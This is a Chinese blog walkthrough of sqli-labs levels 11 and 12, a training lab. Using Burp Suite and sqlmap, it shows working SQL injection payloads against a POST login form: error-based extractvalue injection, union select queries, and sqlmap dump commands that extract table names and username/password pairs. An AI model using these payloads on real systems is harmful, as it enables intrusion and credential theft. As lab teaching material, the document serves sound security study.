2020.4.3 sqli-labs--第十一、十二关①

最新推荐文章于 2024-12-23 17:29:22 发布

原创最新推荐文章于 2024-12-23 17:29:22 发布 · 614 阅读

3 ·

CC 4.0 BY-SA版权

web安全专栏收录该内容

37 篇文章

订阅专栏

本文介绍了在sqli-labs的第十一、十二关中，如何利用extractvalue和联合查询（union select）进行SQL注入攻击。首先，通过BP抓包并修改POST参数，尝试extractvalue方法进行报错型注入，逐步揭示数据库名、表名、字段名及字段值。其次，使用联合查询构造payload，以显示隐藏内容。最后，推荐使用sqlmap自动化工具，快速完成数据库信息的爆破。第十二关虽然闭合方式有所不同，但整体思路与第十一关相似。

在这里插入图片描述 对于post传参的我们最好用bp

输入admin admin 登陆，抓包，发送到repeater模块
在这里插入图片描述在repeater中通过修改post的参数进行注入。

方法一 extractvalue测试payload

uname=admin' and 1=1 --+ &passwd=admin&submit=Submit //能登陆
uname=admin' and 1=2 --+ &passwd=admin&submit=Submit //不能登陆

在这里插入图片描述说明注入生效，存在报错型注入，接下来又是重复性工作，上extractvalue()

爆数据库名：

uname=admin' and extractvalue(1,concat(0x7e,(select database()))) --+&passwd=admin&submit=Submit

爆表名：

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+&passwd=admin&submit=Submit

只能查询到前几个表，后面加上not in ()就可以查到其他表了，如：

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() and table_name not in ('emails')))) --+&passwd=admin&submit=Submit

爆字段名：

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+&passwd=admin&submit=Submit

爆字段值：

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+&passwd=admin&submit=Submit

同样使用not in 可以查询其他值：

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+&passwd=admin&submit=Submit

在这里插入图片描述

方法二联合查询union select测试payload

注意uname是错误的，才能显示联合查询内容。

前面构造闭合，中间sql语句，后面注释
在这里插入图片描述 爆当前数据库中的表名：

uname=0' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+&passwd=admin&submit=Submit

字段名：表名要加单引号

uname=0' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' --+&passwd=admin&submit=Submit

字段值：

uname=0' union select 1,group_concat(username,0x3e,password) from users --+&passwd=admin&submit=Submit

第三种方法：sqlmap（强烈推荐）

1.爆数据库名

python sqlmap.py -r source.txt  -p passwd --technique E --dbs --batch

在这里插入图片描述
2.爆表名

python sqlmap.py -r source.txt  -p passwd --technique E -D security --tables --batch

在这里插入图片描述
3.爆字段名

python sqlmap.py -r source.txt  -p passwd --technique E -D security -T users --columns --batch

在这里插入图片描述
4.爆字段值

python sqlmap.py -r source.txt  -p passwd --technique E -D security -T users -C "username,password" --dump --batch

在这里插入图片描述

第十二关

通过源码发现他闭合需要双引号和括号。除了闭合方式有点区别，其他的大致和11题一样。
在这里插入图片描述例如：这里爆其库名：

uname=admin") and extractvalue(1,concat(0x7e,(select database())))  and " &passwd=admin&submit=Submit